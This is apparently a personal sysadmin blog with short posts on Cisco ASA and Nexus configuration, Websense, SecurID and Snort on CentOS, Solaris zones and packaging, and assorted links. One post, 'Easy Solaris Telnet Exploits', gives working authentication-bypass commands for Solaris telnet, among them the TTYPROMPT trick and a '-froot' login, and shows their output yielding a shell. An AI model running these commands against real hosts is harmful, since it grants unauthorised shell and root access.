Never say it can't be done

I have recently come across a fairly simple task, that as decidedly difficult to figure out how to implement on the Cisco ASA, multiple external IPs NAT'd to a single internal IP.

A google search will bring up several forums in which the consensus is that it can't be done:

"There is no way the device would allow you to have 2 public ip to point to the same internalip."

That's not correct, sadly if you call tier 1 Cisco support they will give you the same answer. The issue is how the ASA performs various NATs:

static - This is a bi-directional NAT that is used for traffic to the host and from the host
static (inside,outside) public-ip internal-ip netmask 255.255.255.255

nat (pat) - This is for traffic FROM the host only, traffic cannot be initiated TO the NAT IP
nat (inside) 1 inside-ip
global (outside) 1 outside-ip

The issue is that the static is bi-directional, so the ASA will not let you add two statics since this would cause a conflict for outgoing traffic.

Now, I refused to accept the answer "it can't be done"...I refuse to believe that Checkpoint..the peak of early 90's technology can do this..yet the ASA cannot. So I escalated.

I was right it can be done, and here is how:

Given two Public IPs: 200.100.30.40 & 200.100.30.41
Given one Private IP: 10.10.10.1

First, you create an ACL for each NAT:

access-list nat1 extended permit ip host 10.10.10.1 any
access-list nat2 extended permit ip host 10.10.10.1 any

Now you create that static NAT statement:

static (inside, outside) 200.100.30.40 access-list nat1
static (inside, outside) 200.100.30.41 access-list nat2

NOTE: Traffic generated FROM the inside will always get NAT'd to the first static entry.

You can verify by doing a show xlate:

Global 200.100.30.41 Local 10.10.10.1
Global 200.100.30.40 Local 10.10.10.1

Cisco Nexus gear

We recently installed a Nexus 5020 with 12 2048T Fabirc Extenders (FEX). This will become the core switching environment for our new network. These are some pretty sweet switches with some wicked cool features. Some of the nice features:

• Unified Fabirc - Allows IP and Native SAN over the same infrastructure.
  
• VMWare intergration - Allowes the creation of VM network profiles that can travel with the VM.
  
• Multi-switch Etherchannel - On the Nexus it's refered to as Virtual Port Channel (vPC)
• No Spanning Tree - Can be either a plus or minus..but for us its simplifies in our current deployment.
  

For all of the good features there are a few gotcha's that we ran into:

• FEX ports are GigE...only...don't even think of doing 10/100
• 5020 has limited GigE....16 ports are GigE the remaing 32 are 10Gig
• vPC limits the number of Etherchannel ports per FEX to ONE

One of the interesting things we ran into with this system was configuring TACACS+ for authentication. Normally it's pretty straight foreward you define TACACS servers & the key..bam you're good to go. For the nexus it's slightly different:

1. Enable TACACS on the system:

switch (config)# feature tacacs+

2. Add TACACS+ servers:

switch (config)# tacacs-server host 12.123.34.5

3. Add TACACS+ Key:

switch(config)# tacacs-server key

4. Add authentication group:

swith (config)# aaa group server tacacs+ tacplus

5. Add Server to auth group:

switch (config-tacacs+)# server 12.34.56.7

6. set AAA to use the tacplus group:

switch (config)# aaa authentication login default group tacplus

7. Log it on the tacacs server:

switch (config)# aaa accounting default group tacplus

8. Finally, this line was needed for our set-up:

(config)# aaa authentication login ascii-authentication

So far, fairly pleased with the Nexus. We aren't doing anything too cutting edge, but our set-up on the Nexus cost considerably less than a comparable 6509 configuration. Obviously, there are pros & cons to each set-up so your mileage may vary based on the requirements for your specific deployment.

ASA, ASDM, and longevity

I have spent the last several day cleaning up firewall configurations. These were brand new, out of the box firewalls and in less than a year their configuration was utter crap. I blame this on two things the administrator and the ASDM gui.

I blame the administrator, for relying soley on the GUI and operating under the impression that it doesn't matter how the changes are made. Let me assure you...it does.

I blame the ASDM GUI for all of the extraneous crap that it puts in the configuration. Some are due to the administrator not using it correctly, and some of it is just the way the GUI works.

Let me just give a few do's and don'ts to ASA management:

1. DO use object-groups in rules. Let's face it, it's easier to update one object-group than multiple rules.
2. DO use descriptive names for object-groups and access-lists. When troubleshooting it's much easier when you know what things are.
3. DO NOT accept the default names the GUI assignes for anything. It is for this reason that I have object-groups like DM_INLINE_NETWORK_1, interfaces name OUTSIDE_VPN_VLAN999, and access-list named OUTSIDE_VPN_VLAN999_access_in

Now, there are few other tips I have, these are really dependent on your site...but I find them to be pretty standard:

DO NOT use interface access-lists for your VPNs:

I've seen this done at several places, and honestly I don't know why. This actually introduces a new risk..especially if public IPs are used on both ends of the tunnel.What happens if the tunnel configuration is removed, but the ACL is not? The traffic will go out the interface unencrypted.

DO use VPN filters to apply ACLs to VPNs:

group-policy tunnel-name-filter internal
group-policy tunnel-name-filter attributes
vpn-filter value access-list-name

tunnel-group peer-ip general-attributes
default-group-policy tunnel-name-filter

Now, if we use descriptive names...we can tell which ACLs pertain to which tunnels.

DO NOT use names in the configuraiton:

no names

This is really just a preference, but when troubleshooting I like to be able to run the command 'sh access-list | in 12.234.45.6' and get all rules associated with that host. If I have names, I would first need to resolve that host to the name configured and then search for the name.

What happens if the hostname has changed or the host is known by several names?

DO AUDIT your firewall periodically:

Now, if you've followed the tips I've laid out auditing should be able to breeze. Simply capture the output from 'show access-list'. It's in cvs delimited format with the [space] as the delimiter. You can easily import into EXCEL.

Now if your object-group names are descriptive...you should be able to tell what each rule is for and since the object-groups are expanded..you can verify all of the IPs that have access. You can annotate the excel with the any POC information for a set of rules, justifications, etc.. that you will need during your audit.

In my experience by following these tips, you will have a firewall that is easy to manage for years to come. Troubleshooting issues is simpler, since you can visually distinguish what ACLs and object-groups apply.

I have to thank my mentor at Sun Sam Munzani, who casually mentioned these tips to me as he handed off some ASA firewalls. It was immediately clear the genius behind it the first time I had to audit the firewall. It was also amazingly simple to troubleshoot issues.

Websense on CentOS 5

Websense is the current bane of my IT existence. The configuration of it, once it is installed is not too difficult. However, I've had the following issues:

1. Could not get Windows AD integration working in version 7.1 under Windows 2008 (32-bit) or CentOS 5. I know CentOS 5 is not supported...but try getting an all windows shop to pay for RHEL when Windows is free. I refuse to run production software on Windows is possible, it's come a long way....but it's still NOT a server platform as far as I'm concerned.

2. I was able to get Websense 6.3.3 with Windows AD integration working under CentOS 5. Installed relatively easy. I've installed, configured, and tested the following components with no issue under Centos 5:

• Policy Server
• User Service
  
• Filter Agent
• Product Integration (Checkpoint FW...the other bane of my IT existence)

3. DC Agent install is not available for linux under 6.3.3. This was something I missed, since I thought the last .3 meant minor revision...not removing a feature completely. So, I had a Windows 2003 server set-up and installed the DC Agent on it. Still could not get per user policies working. This was due to the fact that the dc_config.txt was not being created. This was solved with websense KB 3329, editing the transid.ini file. But this was the last bit in a long line of Websense failures...poor programming?

That said, the one component that I had serious trouble installing was the Logserver and ExplorerUI. This is due to the installation program using LD_LIBRARY_PATH, specifically it set LD_LIBRARY_PATH=${Logserver Install dir/lib} & LD_ASSUME_KERNEL="2.4.1". This prevented it from finding any of the standard shared libs, causing the following error:

./logserverd-dbsetup: error while loading shared libraries: libdl.so.2: cannot open shared object file: No such file or directory

At this point you have the logserver installed, but not running. So I did the following:

1. echo "/opt/Websense/UnixExplorer/logserverd/lib" >> /etc/ld.so.conf.d/websense-ux.conf
2. ldconfig -v
3. cd /opt/Websense/UnixExplorer/logserverd/bin/
4. ./logserverd-dbsetup.bin -sa
5. ./logserverd.bin &

I basically avoid the wrapper scripts and run the commands without setting the offending environment variables. I have added the Websense shared libraries to the system wide ld.so.conf which could be an issue for some sites, but this is a dedicated websense box so I don't have any issues with that. However, if I believe if you simply remove the LD_ASSUME_KERNAL line from the wrapper scripts and run you should be fine.

The key to the manual set-up I used, is to use the -sa switch to build the database, if you don't logging will work but when you pull up a report you will notice some information is unavailable (disposition, date/time, etc..).

You will then need to re-run the installation script to install the ExplorerUI, since the ExplorerUI won't install after the logserver installation fails.

For clean-up you will need to edit the scripts so that your service startup scripts work after reboot.

SecureID my CentOS 5

I ran into an issue recently installing SecurID authentication on a CentOS 5 server...so I decided to document how I got it working.

The Pre-Requisites:

• OS CentOS 5
• RSA Authentication Agent for PAM 6.0
• RSA Agent Host record configured

First, we make the VAR_ACE directory:

Centos # mkdir /var/ace
Centos # chown root:root /var/ace
Centos # chmod 700 /var/ace

Next we create the install directory under /opt (optional)

Centos # mkdir /opt/ace
Centos # chown root:root /var/ace


Now we install the Authentication Agent:

Centos # VAR_ACE=/var/ace; export VAR_ACE
Centos # tar xf AuthenticationAgent_60_PAM_95_060308.tar
Centos # ./install.sh

Follow the prompts, answering as necessary. At this point you should run a quick test to ensure SecurID is installed and working:

Centos# /opt/ace/pam/bin/acetest
Enter USERNAME:
Enter PASSCODE:
Authentication successful.
Centos #

Now we need to configure the SSHD to use SecureID:

Centos # vi /etc/pam.d/ssh

We comment out the first line:
#auth include system-auth

And add the following line:
auth required pam_securid.so


At this point, if you attempt to ssh in to the system you will NOT be able to. Looking at the logs you should see something like:

Oct 8 12:36:28 centos sshd[26923]: PAM [error: /lib/security/pam_securid.so: cannot restore segment prot after reloc: Permission denied]
Oct 8 12:36:28 centos sshd[26923]: PAM adding faulty module: /lib/security/pam_securid.so

A quick google search will show you that this is due to the SELinux enforcing. Now there are two options:

1) Shutdown SELinux: /usr/sbin/setenforce 0

2) Properly configure enforcement profile for the PAM module

Centos # ls --scontext /lib/security/pam_securid.so
system_u:object_r:ib_t /lib/security/pam_securid.so

To work properly the pam_securid module needs access to text relocation. To do this we add it to the correct profile for text relocation:

Centos # chcon -t texrel_shlib_t pam_securid.so
Centos # ls --scontext /lib/security/pam_securid.so
system_u:object_r:textrel_shlib_t /lib/security/pam_securid.so

Once that is done, you should be up and running with SecurID for SSH access

Cisco Woes

I am going to make a suggestion, do NOT put Cisco non-switching blades into a catalyst switch. I am talking specifically about the IDSM and ACE modules, but I'm not impressed with the FWSM either.

IDSM2 Blades:

You should be able to add and remove individual blades without effecting the switch. I can assure you that this is not the case with the IDSM. I do not have these issues with the ASA IPS module...but the IDSM2 is a nightmare.

Why would cisco create and IDS/IPS system that doesn't have remote syslog capabilities? Why must you enable or disable SNMP traps on individual signatures? Is remote logging not a critical requirement when it comes to security monitoring? I guess they just want you to dump a couple grand into the MARS system.

ACE Blades:

Hrmm...I don't know that I can even document how unimpressed I am with these blades. These are buggy as hell to start with, I've only been working with it for a few months and have already run into several show stopping bugs.

Add to that the documentation...less than necessary to really administer them. I'm not an idiot...so it annoys me that I have to put in TAC cases for configuration help simply because its not properly documented.

FWSM:

These blades have their pros and cons. I don't hate them like the IDSM2, I think they are a great idea. What annoys me is that some of the debugging tools available on the ASAs and PIXs are not available on the FWSM.

What I want to see is 'packet-tracer' is that too much to ask? How about some line numbers on the ACLs so I can adjust the policy for performance without having to re-do the entire list?

Switching and routing are Cisco strong points.....but application level stuff....they just induce headaches.

Cisco IDS

First, the link to research signatures:
http://tools.cisco.com/security/center/home.x

Now a tip for using the Cisco IDSM module without purchasing their overpriced control station. The IDSM module will not syslog alert, it also will not SNMP trap by default. So how do I get the IDSM module to trap when an event is triggered?

The Key is the "Event Action Override", this allows you to set a default action for all signatures that fall withing a specified Risk Rating (RR) range. In my case I set the default action of sending an SNMP trap for signatures with a RR of 18-100. 100 is the max RR, 18 is the lowest RR of signatures that by default alert. This will ensure that all signatures that are set to "alert" will produce an SNMP trap.

What about signatures that have a RR that is 18 or more, but shouldn't alert? Such as signatures that are apart of meta-events?

That is where the "Event Action Filter" comes into play. It allows us to specify signatures that we don't want to send a trap. You can specify signature(s), sub-signature(s), RR, etc.. Then you simply select to over-ride the SNMP trap action.

You might be thinking that this seems convoluted, why not simply adjust the signatures to trap? Well, because there are hundreds of signatures and they will need to be reviewed everytime they are updated. By using the "Event Action Override" new signature will automatically send a trap by default. The Event Action Filtering will only be needed for a few noisy signatures based on your environment.

Cisco VPN and Filters

access-list vpn-crypto-domain permit ip object-group local-hosts object-group remote-hosts

# Note these are used for both incoming and outgoing connection!

access-list vpn-acl permit tcp object-group remote-hosts object-group localhosts eq 22

access-list vpn-acl permit icmp object-group remote-hosts object-group localhosts

access-list vpn-acl permit tcp object-group localhosts object-group remote-hosts

crypto map VPN_MAP1 230 match address vpn-crypto-domain

crypto map VPN_MAP1 230 set peer xx.xx.xx.xx

crypto map VPN_MAP1 230 set transform-set ESP-AES256-SHA

group-policy vpn-filter internal

group-policy vpn-filter attributes

vpn-filter value vpn-acl

pfs disable

tunnel-group xx.xx.xx.xx type ipsec-l2l

tunnel-group xx.xx.xx.xx ipsec-attributes

pre-shared-key *

tunnel-group xx.xx.xx.xx general-attributes

default-group-policy vpn-filter

Tunnel of Love

Quick and easy SSH tunneling:

Scenario: I'm at home and I need to connect to a gui at work. The problem is that I cannot get to the gui directly through the firewall.

Solution: An SSH tunnel to proxy the connection from...since SSH is allowed through.

Systems Involved:
1. Home Computer (Windows with Cygwin & ssh)
2. Work computer (Solaris with SSH running)
3. HTTPS gui server.

Step 1: Create a listner on the work computer that will forward the ssh connection to the https server.
work-computer # ssh -R 22:guiserver:443 username@work-computer

Step 2: Create a listner on your home computer that will forward the https connection through SSH to the work computers proxy.
home-computer # ssh -L 8080:localhost:22 username@work-computer

Step 3: Test
https://localhost:8080


* This is nothing new
** This is my cheat sheet

Upgrading Snort

Upgrading Snort is not really that difficult of a procedure, the basics are:

1. Stop the current snort running
• Backup the current snort installation
• mv /usr/local/snort /usr/local/snort.old
2. Configure Snort
• ./configure --prefix=/usr/local/snort
3. Compile & Install
• make; make install
4. Now, I usually copy the old configuration files to the new installations.
5. Run the rc scripts and BAM! good as gold.

Except when you go from such an old version, you will get the following error:

FATAL ERROR: database: The underlying database seems to be running an older version of the DB schema (current version=106, required minimum version= 107). If you have an existing database with events logged by a previous version of snort, this database must first be upgraded to the latest schema (see the snort-users mailing list archive or DB plugin documention for details). If migrating old data is not desired, merely create a new instance of the snort database using the appropriate DB creation script (e.g. create_mysql, create_postgresql, create_oracle, create_mssql) located in the contrib\ directory. See the database documentation for cursory details (doc/README.database). and the URL to the most recent database plugin documentation.

The problem we run into, is that the new version of Snort requires an upgrade to the Database schema. Now, the readme in the distro will point you to the scripts included in the distro's contrib directory. These will build a new snort database.

The problem is that I have 90 days worth of events I don't want to loose. So, the question how to change the schema without loosing the data. The answer is to simply:

1. ALTER TABLE signature ADD sig_gid INT UNSIGNED;
• This is the only addition needed by the new version of snort.
2. INSERT INTO schema (vseq, ctime) VALUES ('107', now());
• Snort queries the schema version when it starts to make sure the DB is compatible.
3. DELETE from schema where vseq=;
• Now we need to remove the previous version from the table

Now, restart Snort...and everything should come up fine.

Solaris & Linux Apps

You can read the full instructions here:
http://www.opensolaris.org/os/community/brandz/install/

# zonecfg -z Citrix
Citrix: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:Citrix> create -t SUNWlx
zonecfg:Citrix> set zonepath=/export/zones/Citrix_root
zonecfg:Citrix> add net
zonecfg:Citrix:net> set address=192.168.0.20/24
zonecfg:Citrix:net> set physical=iprb0
zonecfg:Citrix:net> end
zonecfg:Citrix> add attr
zonecfg:Citrix:attr> set name="audio"
zonecfg:Citrix:attr> set type=boolean
zonecfg:Citrix:attr> set value=true
zonecfg:Citrix:attr> end
zonecfg:Citrix> commit
zonecfg:Citrix> exit
#

I used the CentOS tar ball dist that was made for Solaris10 SCLA:
http://opensolaris.org/os/community/brandz/downloads.

# zoneadm -z Citrix install -d /export/home/jc209962/centos_fs_image.tar
Installing zone 'Citrix' at root directory '/export/zones/Citrix_root'
from archive '/export/home/jc209962/centos_fs_image.tar'

# zoneadm list -iv
 ID NAME             STATUS     PATH                           BRAND    IP  
  0 global           running    /                              native   shared
  - Citrix           installed  /export/zones/Citrix_root      lx       shared

#
# zlogin Citrix
[Connected to zone 'Citrix' pts/5]
Welcome to your shiny new Linux zone.

       - The root password is 'root'.  Please change it immediately.

       - To enable networking goodness, see /etc/sysconfig/network.example.

       - This message is in /etc/motd.  Feel free to change it.

For anything more complicated, see:
       http://opensolaris.org/os/community/brandz/

You have mail.
-bash-2.05b# uname -a
Linux Citrix 2.4.21 BrandZ fake linux i686 i686 i386 GNU/Linux

Solaris 10, sconadm, and patching

I'm not a big fan of GUIs for simple tasks. Patching, IMHO is a simple task, especially on a home system.

Servers can be a bit trickier...since you want to test the patches and make sure that you aren't going to break something with one of the recommended patches.

But your home system...you really just want to apply all the newest patches for your system.

Now Sun's Update Manger is cool. It's really been a long time coming, given the perl scripts that have been around for years that did the same thing. But finally it's built in and it's pretty stable.

However, the CLI for it is IMHO the best part.

Here is all that I need to do to patch my system:

# smpatch update

Done, all the latest patches will be downloaded and installed. I put the command in cron and I will always be good to go.

However, before I can update, I must register to download the patches. This is done easily with sconadm

First, create a text file that has the following (remember to use your own values) The only values required are the ones I have filled in.

# vi /tmp/registration.txt
userName=sunsolve_user
password=sunsolvepass
hostName=
subscriptionKey=
portalEnabled=false
proxyHostName=
proxyPort=
proxyUserName=
ProxyPassword=
#

Now, we use this script to register the system with SunSolve:

# sconadm register -a -r /tmp/registration.txt

Goldmine right? Well, in my case...not so fast. I ended up with a lot of errors:

sconadm is running
javax.management.remote.JMXProviderException: Connection refused at com.sun.cacao.rmi.impl.CacaoRMIConnectorProvider.newJMXConnector(CacaoRMIConnectorProvider.java:415) at javax.management.remote.JMXConnectorFactory.getConnectorAsService(JMXConnectorFactory.java:415)

Why?

Well, If you are a DHCP user, you will need to make sure that your hostname can be resolved. For me, this meant I had to add it to /etc/hosts and reboot the system.

I have a small network, so I always get the same IP for this system. Added the line to /etc/hosts..and boom. I was in.

Final note, for those Solaris 10 DHCP users with a hostname of "Unknown" simply create the file/etc/nodename with the hostname you want:

# echo "MyHostName" > /etc/nodename

Now reboot!

Creating Solaris Packages

Here is the link: http://www.sunfreeware.com/pkgadd.html

1. Create a clean /usr/local/ for install.

2. Go into the /usr/local directory with

unix# cd /usr/local

and run the command

unix# find . -print | pkgproto > prototype

This will produce the prototype file in /usr/local.

3.Now take your editor and edit out the line that has the prototype file name in it. Then add a line like

i pkginfo=./pkginfo

4. Finally, convert all the user and group ownerships from whatever they are to bin and bin (or whatever, see Red note below). An example file looks like

i pkginfo=./pkginfo
d none bin 0755 bin bin
f none bin/prog 0755 bin bin
d none doc 0755 bin bin
f none doc/doc1 0644 bin bin
d none lib 0755 bin bin
f none lib/lib1 0644 bin bin
d none man 0755 bin bin
d none man/man1 0644 bin bin
f none man/man1/prog.1 0444 bin bin

5. Now in /usr/local create a file pkginfo with contents for your package like

PKG="SCprog"
NAME="prog"
ARCH="sparc"
VERSION="1.00"
CATEGORY="application"
VENDOR="Christensen and Associates, Inc."
EMAIL="steve@smc.vnet.net"
PSTAMP="Steve Christensen"
BASEDIR="/usr/local"
CLASSES="none"

These values are fairly obvious, but they mean

PKG = the name you have chosen for the package directory
NAME = the program name
ARCH = the operating system version
VERSION = the version number for your program
CATEGORY = the program is an application
VENDOR = whoever wrote the software
EMAIL = an email contact
PSTAMP = the person who did the port perhaps
BASEDIR = the /usr/local directory where the files install
CLASSES = just put none here

6.Run pkgmk

Now while in /usr/local, run
unix# pkgmk -r `pwd`
This places a file in /var/spool/pkg called SCprog.

7. Run pkgtrans

Now do
unix# cd /var/spool/pkg
and then
unix# pkgtrans -s `pwd` /tmp/prog-1.00

You will be asked to select which package you want to make. Select you package name (like SCprog) by number.

This now creates a file called prog-1.00 in /tmp.

Easy Solaris Telnet Exploits

http://www.milw0rm.com/exploits/57

Example:
coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami bin

OR

http://weblog.infoworld.com/securityadviser/archives/2007/02/huge_easy_solar.html

telnet -l "-froot" [hostname]

Every once in a while I run across a box running telnet internally and feel compelled to at least try these two. If you are running telnet, which is bad enough, for god sake at least patch. (and put tcp wrappers, and iptables, etc...)

QR Codes

http://qrcode.kaywa.com/

Interesting site that allows you to create QR codes, which are very similar to barcode, except they are in a square and can hold around 4000 characters of text.

You can also download a QRCode scanner from the site that can be loaded on your cell phone, that uses the cell phone camera as a scanner.

Windows Logon Types

http://www.windowsecurity.com/articles/Logon-Types.html

Logon Type 2 – Interactive
Logon Type 3 – Network
Logon Type 4 – Batch
Logon Type 5 – Service
Logon Type 7 – Unlock
Logon Type 8 – NetworkCleartext
Logon Type 9 – NewCredentials
Logon Type 10 – RemoteInteractive
Logon Type 11 – CachedInteractive

Blastwave: Solaris Software made Simple

http://www.blastwave.org/howto.html

This walks you through installing on of the best Solaris Software management systems ever.

Update packages easily.
Install packages effortlessly.

Obviously this is not meant for your production servers, but it works great on my desktop system.

CD-RW on Solaris

http://docsun.cites.uiuc.edu/sun_docs/C/solaris_9/SUNWaadm/SYSADV1/p65.html#MEDACCESS-5

How to burn a CD in Solaris. Sadly this is the first time in 10 years that I've actually had a CD/DVD-RW on a Sparc system (Ultra45). So this is the first time I've had a chance to mess with it.

Summary:

$ cdrw -l
Looking for CD devices...
  Node                   Connected Device                Device type
----------------------+--------------------------------+-----------------
cdrom1               | YAMAHA   CRW8424S         1.0d | CD Reader/Writer

$ mkisofs -r /pathname > cd-file-system

-r	Creates Rock Ridge information and resets file ownerships to zero.
/pathname	Identifies the pathname used to create the ISO 9660 file system.
> cd-file-system	Identifies the name of the file system to be put on the CD.

Copy the CD file system onto the CD.

$ cdrw -i cd-file-system

-i cd-file-system

Specifies the image file for creating a data CD.

Firekeeper - FireFox IDS

http://firekeeper.mozdev.org

First official alpha release of Firekeeper - Intrusion Detection and Prevention System for Firefox is available for download. Firekeeper adds additional layer of protection to the browser. It uses flexible rules similar to Snort ones to describe browser based attack attempts. All incoming HTTP and HTTPS traffic is scanned with these rules. HTTPS and compressed responses are scanned after decryption/decompression. Suspicious response can trigger an alert that is displayed to the user or can be automatically cancelled, depending on an action specified in the rule. Firekeeper uses very effective pattern matching engine from Snort and with well written rules doesn't have a negative impact on the browser performance

Addictive Zombie Game

Normally, I get tired of Zombie Games Post haste...this one is pretty cool:

http://www.newgrounds.com/portal/view/363126